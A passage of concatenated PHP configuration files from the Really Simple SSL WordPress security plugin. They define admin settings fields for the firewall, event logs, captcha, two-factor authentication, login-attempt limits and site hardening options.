                        'sortable'   => true,
                        'searchable' => true,
                        'column'     => 'user_agent',
                        'width'      => '20%',
                    ],
                    [
                        'name'    => __('Note', 'really-simple-ssl'),
                        'sortable' => false,
                        'searchable' => false,
                        'column'  => 'note',
                        'width'   => '40%',
                    ],
                    [
                        'name'     => __('Date Added', 'really-simple-ssl'),
                        'sortable' => false,
                        'column'   => 'created_at',
                        'width'    => '20%',
                    ],
                    [
                        'name'     => '',
                        'sortable' => false,
                        'column'   => 'action',
                    ],
                ],
            ],
			[
				'id'               => 'firewall_listing_overview',
				'menu_id'          => 'rules',
				'group_id'         => 'firewall_list_listing',
				'type'             => 'geo-datatable',
				'action'           => 'rsssl_geo_list',
				'options'          => [
					'blocked' => __('Blocked', 'really-simple-ssl'),
					'locked'  => __('Locked-out', 'really-simple-ssl'),
					'trusted' => __('Trusted', 'really-simple-ssl'),
				],
				'disabled'         => false,
				'default'          => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_firewall' => true,
					]
				],
				'columns'          => [
					[
						'name'       => __('', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => false,
						'column'     => 'flag',
						'width'      => '5%',
					],
					[
						'name'       => __('Country', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'country_name',
						'width'      => '150px',
					],
					[
						'name'    => __('Continent', 'really-simple-ssl'),
						'sortable' => false,
						'searchable' => false,
						'column'  => 'region_name',
						'width'   => '30%',
					],
					[
						'name'     => __('Status', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'status',
						'width'    => '20%',
					],
					[
						'name'     => '',
						'sortable' => false,
						'column'   => 'action',
						'width'    => '180px',
					],
				],
			],
			[
				'id'               => 'firewall_event_log_viewer',
				'menu_id'          => 'firewall_logs',
				'group_id'         => 'firewall_logs_content',
				'type'             => 'eventlog-datatable',
				'action'           => 'event_log',
				'event_type'       => 'Firewall',
				'label'            => __('IP address overview', 'really-simple-ssl'),
				'disabled'         => false,
				'default'          => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'event_log_enabled' => true,
					]
				],
				'columns'          => [
					[
						'name'     => __('Country', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'iso2_code',
						'width'    => '8%',
					],
					[
						'name'       => __('IP Address', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'source_ip',
						'type'     => 'text',
						'width'    => '42%',
					],
					[
						'name'     => __('Date', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'datetime',
						'width'         => '20%',
					],
					[
						'name'     => __('Event', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'event_name',
						'width'         => '25%',
					]
				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/general.php000064400000015507147510273070016641 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[
			[
				'id'       => 'ssl_enabled',
				'menu_id'  => 'general',
				'group_id' => 'general',
				'type'     => 'hidden',
				'label'    => 'ssl_enabled',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'site_has_ssl',
				'menu_id'  => 'general',
				'group_id' => 'general',
				'type'     => 'hidden',
				'label'    => '',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'other_host_type',
				'menu_id'  => 'general',
				'group_id' => 'general',
				'type'     => 'host',
				//options loaded in data store
				'default'  => false,
				'label'    => __( "Hosting provider", 'really-simple-ssl' ),
				'required' => false,
				'disabled' => false,
			],
			[
				'id'       => 'review_notice_shown',
				'menu_id'  => 'general',
				'group_id' => 'general',
				'type'     => 'hidden',
				'label'    => '',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'dismiss_all_notices',
				'menu_id'  => 'general',
				'group_id' => 'general',
				'type'     => 'checkbox',
				'label'    => __("Dismiss all notifications", 'really-simple-ssl'),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'          => 'download-system-status',
				'menu_id'     => 'general',
				'group_id'    => 'general',
				'type'        => 'button',
				'url'         => trailingslashit(rsssl_url).'system-status.php?download',
				'button_text' => __("Download", "really-simple-ssl"),
				'label'       => __("System status", 'really-simple-ssl'),
				'disabled'    => false,
				'default'     => false,
			],
			[
				'id'       => 'delete_data_on_uninstall',
				'menu_id'  => 'general',
				'group_id' => 'general',
				'type'     => 'checkbox',
				'label'    => __("Delete all data on plugin deletion", 'really-simple-ssl'),
				'default'  => false,
			],

			[
				'id'       => 'notifications_email_address',
				'menu_id'  => 'general',
				'group_id' => 'general_email',
				'type'     => 'email',
				'label'    => __( "Email address", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => get_bloginfo('admin_email'),
			],
			[
				'id'       => 'send_verification_email',
				'menu_id'  => 'general',
				'group_id' => 'general_email',
				'type'     => 'button',
				'action'      => 'send_verification_mail',
				'button_text' => __( "Send", "really-simple-ssl" ),
				'warning'     => true,
				'label'       => __( "Email verification", 'really-simple-ssl' ),
				'disabled'    => rsssl_is_email_verified(),
				'tooltip'  => __( "Verify your email address to get the most out of Really Simple Security.", 'really-simple-ssl' ),
			],
			[
				'id'               => 'send_notifications_email',
				'menu_id'          => 'general',
				'group_id'         => 'general_email',
				'type'             => 'checkbox',
				'label'      => __("Notifications by email", 'really-simple-ssl'),
				'tooltip'            => __("Get notified of important changes, updates and settings. Recommended when using security features.", 'really-simple-ssl'),
				'disabled'         => false,
				'default'          => false,
			],
			[
				'id'           => 'enabled_captcha_provider',
				'menu_id'      => 'general',
				'group_id'     => 'general_captcha',
				'type'         => 'select',
				'options'      => [
					'none'      => __( "Choose your provider", "really-simple-ssl" ),
					'recaptcha' => __( "reCaptcha v2", "really-simple-ssl" ),
					'hcaptcha'  => __( "hCaptcha", "really-simple-ssl" ),
				],
				'label'        => __( "Captcha provider", 'really-simple-ssl' ),
				'disabled'     => false,
				'default'      => 'none',
				'required' => false,
			],
			[
				'id'      => 'captcha_fully_enabled',
				'menu_id' => 'general',
				'group_id' => 'general_captcha',
				'type'    => 'hidden',
				'label'   => '',
				'default' => false,
			],
			[
				'id'       => 'recaptcha_site_key',
				'menu_id'  => 'general',
				'group_id' => 'general_captcha',
				'type'     => 'captcha_key',
				'label'    => __( "reCaptcha site key", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'required' => true,
				'visible'   => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'enabled_captcha_provider' => 'recaptcha',
					]
				],
			],
			[
				'id'       => 'recaptcha_secret_key',
				'menu_id'  => 'general',
				'group_id' => 'general_captcha',
				'type'     => 'captcha_key',
				'label'    => __( "reCaptcha secret key", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'required' => true,
				'visible'   => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'enabled_captcha_provider' => 'recaptcha',
					]
				],
			],
			[
				'id'       => 'hcaptcha_site_key',
				'menu_id'  => 'general',
				'group_id' => 'general_captcha',
				'type'     => 'captcha_key',
				'label'    => __( "hCaptcha site key", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'required' => true,
				'visible'   => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'enabled_captcha_provider' => 'hcaptcha',
					]
				],
			],
			[
				'id'       => 'hcaptcha_secret_key',
				'menu_id'  => 'general',
				'group_id' => 'general_captcha',
				'type'     => 'captcha_key',
				'label'    => __( "hCaptcha secret key", 'really-simple-ssl'),
				'required' => true,
				'disabled' => false,
				'default'  => false,
				'visible'   => false,
				'server_conditions' => [
					'relation' => 'AND',
					[
						'enabled_captcha_provider' => 'hcaptcha',
					]
				],
			],
			[
				'id'      => 'captcha_verified',
				'menu_id' => 'general',
				'group_id' => 'general_captcha',
				'type'    => 'captcha',
				'info'     => __( "Captcha has not yet been verified, you need to complete the process of a Captcha to verify it's availability.", 'really-simple-ssl' ),
				'label'   => '',
				'default' => false,
			],

			[
				'id'       => 'premium_support',
				'menu_id'  => 'general',
				'group_id' => 'support',
				'type'     => 'support',
				'label'    => __("Premium Support", 'really-simple-ssl'),
				'disabled' => false,
				'default'  => false,
			],

			[
				'id'                   => 'do_not_edit_htaccess', //field is removed if not enabled
				'menu_id'              => 'general',
				'group_id'             => 'general',
				'type'                 => 'checkbox',
				'label'                => __( "Stop editing the .htaccess file", 'really-simple-ssl' ),
				'disabled'             => false,
				'default'              => false,
				//on multisite this setting can only be set networkwide
				'networkwide_required' => true,
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'RSSSL()->server->uses_htaccess()' => true,
					]
				],
			],

		]
	);
}, 100 );
really-simple-ssl/settings/config/fields/two-fa.php000064400000011426147510273070016415 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[

			[
				'id'       => 'login_protection_enabled',
				'menu_id'  => 'two-fa',
				'group_id' => 'two_fa_general',
				'type'     => 'checkbox',
				'label'    => __( "Enable Two-Factor Authentication", "really-simple-ssl" ),
				'disabled' => false,
				'default'  => 'disabled',
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'is_multisite' => false,
					]
				],
			],
			[
				'id'       => 'two_fa_forced_roles',
				'forced_roles_id'         => 'two_fa_forced_roles',
				'menu_id'  => 'two-fa',
				'group_id' => 'two_fa_general',
				'type'     => 'two_fa_roles',
				'default'  => [],
				'label'    => __( 'Enforce for:', 'really-simple-ssl' ),
				'tooltip'  => __( 'Enforcing 2FA ensures that all users with the selected roles must login using Two-Factor Authentication. It is strongly recommended to at least enforce 2FA for Administrators.', 'really-simple-ssl' ),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'login_protection_enabled' => true,
					]
				],
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'is_multisite' => false,
					]
				],
			],
			[
				'id'       => 'two_fa_grace_period',
				'menu_id'  => 'two_fa',
				'group_id' => 'two_fa_general',
				'type'     => 'select',
				'label'    => __( 'Allow grace period', 'really-simple-ssl' ),
				'tooltip'  => __( 'During the grace period users can configure their Two-Factor method. When the grace period ends, users for which 2FA is enforced won’t be able to login unless 2FA is correctly configured. The grace period is also applied to new users.', 'really-simple-ssl' ),
				'disabled' => false,
				'options'          => [
					'1'   => sprintf(__('%s day', 'really-simple-ssl'), 1),
					'5'   => sprintf(__('%s days', 'really-simple-ssl'), 5),
					'10'   => sprintf(__('%s days', 'really-simple-ssl'), 10),
					'30' => sprintf(__('%s days', 'really-simple-ssl'), 30),
				],
				'warning'  => false,
				'default'  => '10',
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'is_multisite' => false,
					]
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'login_protection_enabled' => true,
					]
				],
			],
			[
				'id'       => 'two_fa_enabled_roles_email',
				'enabled_roles_id'         => 'two_fa_forced_roles',
				'menu_id'  => 'two-fa',
				'group_id' => 'two_fa_email',
				'type'     => 'roles_enabled_dropdown',
				'default'  => [],
				'label'    => __( 'Enable for:', 'really-simple-ssl' ),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'login_protection_enabled' => 1
					]
				],
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'is_multisite' => false,
					]
				],
			],
			[
				'id'       => 'two_fa_enabled_roles_totp',
				'enabled_roles_id'         => 'two_fa_forced_roles',
				'menu_id'  => 'two-fa',
				'group_id' => 'two_fa_totp',
				'type'     => 'roles_enabled_dropdown',
                'premium'   => true,
				'default'  => [],
				'label'    => __( 'Enable for:', 'really-simple-ssl' ),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'login_protection_enabled' => true
					]
				],
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'is_multisite' => false,
					]
				],
			],
			[
				'id'    => 'two_fa_users_table',
				'menu_id' => 'two-fa',
				'group_id' => 'two_fa_users',
				'type' => 'twofa-datatable',
				'action' => 'two_fa_table',
				'label' => __('Users', 'really-simple-ssl'),
				'disabled' => false,
				'default' => false,
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'is_multisite' => false,
					]
				],
				'columns' => [
					[
						'name'     => __( 'Username', 'really-simple-ssl' ),
						'sortable' => true,
						'searchable' => true,
						'visible' => true,
						'column'   => 'user',
						'width'    => '20%',
					],
					[
						'name'     => __( 'User role', 'really-simple-ssl' ),
						'sortable' => false,
						'searchable' => false,
						'visible' => true,
						'column'   => 'user_role',
						'width'    => '20%',
					],
					[
						'name'     => __( 'Method', 'really-simple-ssl' ),
						'sortable' => false,
						'searchable' => true,
						'visible' => true,
						'width'     => '20%',
						'column'   => 'rsssl_two_fa_providers',
					],
					[
						'name'     => __( 'Status', 'really-simple-ssl' ),
						'sortable' => false,
						'searchable' => false,
						'visible' => true,
						'width'     => '20%',
						'column'   => 'status_for_user',
					],
					[
						'name'     => '',
						'sortable' => false,
						'searchable' => false,
						'visible' => true,
						'column'   => 'resetControl',
					],

				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/limit-login-attempts.php000064400000025036147510273070021305 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[

			[
				'id'       => 'enable_limited_login_attempts',
				'menu_id'  => 'limit_login_attempts',
				'group_id' => 'limit_login_attempts_general',
				'type'     => 'checkbox',
				'label'    => __('Enable Limit Login Attempts', 'really-simple-ssl'),
				'help'     => [
					'label' => 'default',
					'url'   => 'instructions/limit-login-attempts',
					'title' => __( "About Limit Login Attempts", 'really-simple-ssl' ),
					'text'  => __( 'Limit Login Attempts protects your site from login attempts by unauthorized users. When you enable Limit Login Attempts, all login attempts are logged and repeated attempts to login with invalid credentials will be blocked automatically.', 'really-simple-ssl' ),
				],
				'disabled' => false,
			],
			[
				'id'               => 'limit_login_attempts_amount',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_advanced',
				'type'             => 'select',
				'tooltip'          => __("After this number of failed login attempts the user and IP address will be temporarily blocked.",
					'really-simple-ssl'),
				'label'            => __('Login attempts', 'really-simple-ssl'),
				'options'          => [
					'3'  => sprintf('%d %s', 3, __('attempts', 'really-simple-ssl')),
					'5'  => sprintf('%d %s', 5, __('attempts', 'really-simple-ssl')),
					'10' => sprintf('%d %s', 10, __('attempts', 'really-simple-ssl')),
					'15' => sprintf('%d %s', 15, __('attempts', 'really-simple-ssl')),
				],
				'disabled'         => false,
				'default'          => '5',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
					]
				],
			],
			[
				'id'               => 'limit_login_attempts_duration',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_advanced',
				'type'             => 'select',
				'tooltip'          => __("If the number of failed login attempts is exceeded within this timeframe, the IP address and user will be blocked.",
					'really-simple-ssl'),
				'label'            => __('Interval', 'really-simple-ssl'),
				'options'          => [
					'15'   => sprintf(__('%s minutes', 'really-simple-ssl'), 15),
					'30'   => sprintf(__('%s minutes', 'really-simple-ssl'), 30),
					'60'   => sprintf(__('%s hour', 'really-simple-ssl'), 1),
					'240'  => sprintf(__('%s hours', 'really-simple-ssl'), 4),
					'1440' => sprintf(__('%s day', 'really-simple-ssl'), 1),
				],
				'disabled'         => false,
				'default'          => '15',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
					]
				],
			],
			[
				'id'               => 'limit_login_attempts_locked_out_duration',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_advanced',
				'type'             => 'select',
				'tooltip'          => __("The user and IP address will be temporarily unable to login for the specified duration. You can block IP addresses indefinitely via the IP addresses block.",
					'really-simple-ssl'),
				'label'            => __('Lockout duration', 'really-simple-ssl'),
				'options'          => [
					'15'   => sprintf(__('%s minutes', 'really-simple-ssl'), 15),
					'30'   => sprintf(__('%s minutes', 'really-simple-ssl'), 30),
					'60'   => sprintf(__('%s hour', 'really-simple-ssl'), 1),
					'240'  => sprintf(__('%s hours', 'really-simple-ssl'), 4),
					'1440' => sprintf(__('%s day', 'really-simple-ssl'), 1),
					'10080' => sprintf(__('%s week', 'really-simple-ssl'), 1),
					'43200' => sprintf(__('%s month', 'really-simple-ssl'), 1),
					'86400' => sprintf(__('%s months', 'really-simple-ssl'), 2),
				],
				'disabled'         => false,
				'default'          => '30',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
					]
				],
			],
			[
				//Captchas
				'id'               => 'limit_login_attempts_captcha',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_advanced',
				'type'             => 'checkbox',
				'label'            => __('Trigger captcha on failed login attempt', 'really-simple-ssl'),
				'disabled'         => false,
				'default'          => false,
				'comment'                 => sprintf(__("Please configure your %sCaptcha settings%s before enabling this setting",
					"really-simple-ssl"), '<a id="set_to_captcha_configuration" href="#settings/general/enable_captcha_provider">', '</a>'),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
						'captcha_fully_enabled' => true,
					],
				],
			],
			[
				'id'               => 'limit_login_attempts_users_view',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_users',
				'type'             => 'user-datatable',
				'action'           => 'rsssl_limit_login_user',
				'options'          => [
					'blocked' => __('Blocked', 'really-simple-ssl'),
					'locked'  => __('Locked-out', 'really-simple-ssl'),
					'trusted' => __('Trusted', 'really-simple-ssl'),
				],
				'disabled'         => false,
				'default'          => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
					]
				],
				'columns'          => [
					[
						'name'       => __('Username', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'attempt_value',
						'width'      => '50%',
					],
					[
						'name'     => __('Status', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'status',
						'width'    => '10%',
					],
					[
						'name'     => __('Date', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'datetime',
					],
					[
						'name'     => '',
						'sortable' => false,
						'column'   => 'action',
					],
				],
			],
			[
				'id'               => 'limit_login_attempts_ip_view',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_ip_address',
				'type'             => 'ip-address-datatable',
				'action'           => 'rsssl_limit_login',
				'options'          => [
					'blocked' => __('Blocked', 'really-simple-ssl'),
					'locked'  => __('Locked-out', 'really-simple-ssl'),
					'trusted' => __('Trusted', 'really-simple-ssl'),
				],
				'label'            => __('Enable open source blocklist API etc.', 'really-simple-ssl'),
				'disabled'         => false,
				'default'          => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
					]
				],
				'columns'          => [
					[
						'name'       => __('IP Address', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'attempt_value',
						'width'      => '50%',
					],
					[
						'name'     => __('Status', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'status',
						'width'    => '10%',
					],
					[
						'name'     => __('Date', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'datetime',
					],
					[
						'name'     => '',
						'sortable' => false,
						'column'   => 'action',
					],
				],
			],
			[
				'id'               => 'limit_login_attempts_country_view',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_country',
				'type'             => 'country-datatable',
				'action'           => 'rsssl_limit_login_country',
				'options'          => [
					'blocked' => __('Blocked', 'really-simple-ssl'),
					'locked'  => __('Locked-out', 'really-simple-ssl'),
					'trusted' => __('Trusted', 'really-simple-ssl'),
				],
				'disabled'         => false,
				'default'          => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'enable_limited_login_attempts' => true,
					]
				],
				'columns'          => [
					[
						'name'       => '',
						'sortable'   => false,
						'searchable' => true,
						'column'     => 'attempt_value',
						'width'      => '4%',
					],
					[
						'name'       => __('Country', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'visible'   => false,
						'column'     => 'country_name',
						'width'      => '200px',
					],
					[
						'name'       => __('Continent', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'region_name',
						'width'      => '20%',
					],
					[
						'name'     => __('Status', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'status',
						'width'    => '10%',
					],
					[
						'name'     => '',
						'sortable' => false,
						'column'   => 'action',
					],
				],
			],
			[
				'id' 			 => 'event_log_enabled',
				'menu_id'        => 'limit_login_attempts',
				'group_id'       => 'limit_login_attempts_event_log',
				'type'           => 'hidden',
				'default'        => false,
			],
			[
				'id'               => 'event_log_viewer',
				'menu_id'          => 'limit_login_attempts',
				'group_id'         => 'limit_login_attempts_event_log',
				'type'             => 'eventlog-datatable',
				'event_type'        => 'login-protection',
				'action'           => 'event_log',
				'label'            => __('IP address overview', 'really-simple-ssl'),
				'disabled'         => false,
				'default'          => false,
				'react_conditions' => [
					'relation' => 'AND',
					[
						'event_log_enabled' => true,
					]
				],
				'columns'          => [
					[
						'name'     => __('Country', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'iso2_code',
						'width'    => '8%',
					],
					[
						'name'     => __('Date', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'datetime',
						'width'         => '12%',
					],
					[
						'name'       => __('User', 'really-simple-ssl'),
						'sortable'   => true,
						'column'     => 'username',
						'searchable' => true,
						'type'       => 'text',
						'width'     => '12%',
					],
					[
						'name'       => __('IP Address', 'really-simple-ssl'),
						'sortable'   => true,
						'searchable' => true,
						'column'     => 'source_ip',
						'type'     => 'text',
						'width'    => '32%',
					],
					[
						'name'     => __('Event', 'really-simple-ssl'),
						'sortable' => true,
						'column'   => 'event_name',
						'width'         => '28%',
					]
				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/hibp-integration.php000064400000001227147510273070020461 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function ( $fields ) {
	return array_merge( $fields,
		[
			[
				'id'       => 'enable_hibp_check',
				'menu_id'  => 'password_security',
				'group_id' => 'password_security_passwords',
				'type'     => 'checkbox',
				'label'    => __( 'Enable compromised password check', 'really-simple-ssl' ),
				'tooltip'  => __( "Prevent usage of passwords that have been included in a databreach. This securely verifies part of the hashed password via the Have I Been Pwned API.", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'warning'  => false,
			],
		]
	);
}, 200 );really-simple-ssl/settings/config/fields/hardening-basic.php000064400000013467147510273070020245 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[

			[
				'id'                 => 'disable_anyone_can_register',
				'menu_id'            => 'hardening-basic',
				'group_id'           => 'hardening-basic',
				'type'               => 'checkbox',
				'label'              => __( "Disable \"anyone can register\"", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
				'help'               => [
					'label' => 'default',
					'url'   => 'definition/what-are-hardening-features',
					'title' => __( "About Hardening", 'really-simple-ssl' ),
					'text'  => __( 'Hardening features limit the possibility of potential weaknesses and vulnerabilities which can be misused.', 'really-simple-ssl' ),
				],
				'recommended'        => true,
			],
			[
				'id'                 => 'disable_file_editing',
				'menu_id'            => 'hardening-basic',
				'group_id'           => 'hardening-basic',
				'type'               => 'checkbox',
				'label'              => __( "Disable the built-in file editors", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
				'recommended'        => true,
			],
			[
				'id'                 => 'block_code_execution_uploads',
				'menu_id'            => 'hardening-basic',
				'group_id'           => 'hardening-basic',
				'type'               => 'checkbox',
				'label'              => __( "Prevent code execution in the public 'Uploads' folder", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
				'recommended' => true,
			],
			[
				'id'       => 'hide_wordpress_version',
				'menu_id'  => 'hardening-basic',
				'group_id' => 'hardening-basic',
				'type'     => 'checkbox',
				'label'    => __( "Hide your WordPress version", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'recommended' => true,
			],
			[
				'id'       => 'disable_login_feedback',
				'menu_id'  => 'hardening-basic',
				'group_id' => 'hardening-basic',
				'type'     => 'checkbox',
				'tooltip'  => __( "By default, WordPress shows if a username or email address exists when a login fails. This will change it to generic feedback.", 'really-simple-ssl' ),
				'label'    => __( "Prevent login feedback", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'recommended' => true,
			],
			[
				'id'                 => 'disable_indexing',
				'menu_id'            => 'hardening-basic',
				'group_id'           => 'hardening-basic',
				'type'               => 'checkbox',
				'label'              => __( "Disable directory browsing", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
				'recommended' => true,
			],
			[
				'id'                 => 'disable_user_enumeration',
				'menu_id'            => 'hardening-basic',
				'group_id'           => 'hardening-basic',
				'type'               => 'checkbox',
				'label'              => __( "Disable user enumeration", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
				'recommended' => true,
			],
			[
				'id'       => 'disable_x_powered_by_header',
				'menu_id'  => 'hardening-basic',
				'group_id' => 'hardening-basic',
				'type'     => 'checkbox',
				'label'    => __( "Unset X-Powered-By header", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'recommended'        => true,
			],
			[
				'id'                 => 'rename_admin_user',
				'menu_id'            => 'hardening-basic',
				'warning'     			=> true,
				'group_id'           => 'hardening-basic',
				'type'               => 'checkbox',
				'label'              => __( "Block the username 'admin'", 'really-simple-ssl' ),
				'email'              => [
					'title'   => __( "Settings update: Username 'admin' renamed", 'really-simple-ssl' ),
					'message' => sprintf(__( "As a security precaution, the username ‘admin’ has been changed on %s. From now on, you can login with '%s' or an email address.", 'really-simple-ssl' ), '{site_url}','{username}'),
					'url'     => 'https://really-simple-ssl.com/instructions/locked-out-after-renaming-the-admin-username',
					'condition'    => 'rsssl_username_admin_changed',
				],
				'tooltip'            => __( "If the username 'admin' currently exists, you can rename it here. Please note that you can no longer use this username, and should use the new username or an email address",
					'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => false,
			],
			[
				'id'                 => 'new_admin_user_login',
				'menu_id'            => 'hardening-basic',
				'group_id'           => 'hardening-basic',
				'type'               => 'text',
				'label'              => __( "Choose new username to replace 'admin'", 'really-simple-ssl' ),
				'disabled'           => false,
				'default'            => '',
				'required'           => true,
				'condition_action'   => 'hide',
				'react_conditions' => [
					'relation' => 'AND',
					[
						'rename_admin_user' => 1,
					]
				],
				'server_conditions' => [
					'relation' => 'AND',
					[
						'rsssl_has_admin_user()' => true,
					]
				],

			],
			[
				'id'       => 'disable_xmlrpc',
				'menu_id'  => 'hardening-basic',
				'group_id' => 'hardening-basic',
				'type'     => 'checkbox',
				'label'    => __( "Disable XML-RPC", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'block_display_is_login',
				'menu_id'  => 'hardening-basic',
				'group_id' => 'hardening-basic',
				'type'     => 'checkbox',
				'label'    => __( "Block user registrations when login and display name are the same", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'recommended' => true,
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/hardening-xml.php000064400000004505147510273070017755 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[
			[
				'id'       => 'xmlrpc_status',
				'menu_id'  => 'hardening-xml',
				'group_id' => 'hardening-xml',
				'type'     => 'hidden',
				'label'    => '',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'xmlrpc_status_lm_enabled_once',
				'menu_id'  => 'hardening-xml',
				'group_id' => 'hardening-xml',
				'type'     => 'hidden',
				'label'    => '',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'               => 'xmlrpc_allow_list',
				'control_field'    => 'xmlrpc_status',
				'menu_id'          => 'hardening-extended',
				'group_id'         => 'hardening-xml',
				'type'             => 'learningmode',
				'label'            => "XML-RPC",
				'disabled'         => false,
				'default'          => false,
				'help'     => [
					'label' => 'default',
					'url'   => 'definition/what-is-xml-rpc',
					'title' => __( "About XML-RPC", 'really-simple-ssl' ),
					'text'  => __( 'XML-RPC is a mechanism originally implemented into WordPress to publish content without the need to actually login to the backend. It is also used to login to WordPress from devices other than desktop, or the regular wp-admin interface.', 'really-simple-ssl' ),
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'disable_xmlrpc' => false,
					]
				],
				'columns'          => [
					[
						'name'     => __( 'Method', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'method',
                        'grow'     => 2,
                        'width'    => '30%',
					],
					[
						'name'     => __( 'Login status', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'login_statusControl',
						'width'     => '20%',
					],
					[
						'name'     => __( 'Count', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'count',
						'width'     => '20%',
					],
					[
						'name'     => __( '', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'statusControl',
						'width'     => '10%',
					],
					[
						'name'     => __( '', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'deleteControl',
						'width'     => '10%',
					],
				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/fields/hardening-file-change-detection.php000064400000006033147510273070023271 0ustar00<?php
defined( 'ABSPATH' ) or die();

//add_filter( 'rsssl_fields', function( $fields ) {
//	return array_merge( $fields,
//		[
//			[
//				'id'       => 'file_change_detection',
//				'menu_id'  => 'hardening-file-change',
//				'group_id' => 'hardening-file-change-main',
//				'type'     => 'checkbox',
//				'label'    => __( "Enable File Change Detection", 'really-simple-ssl' ),
//				'disabled' => false,
//				'default'  => false,
//			],
//			[
//				'id'       => 'file_change_exclusions',
//				'menu_id'  => 'hardening-file-change',
//				'group_id' => 'hardening-file-change-main',
//				'type'     => 'textarea',
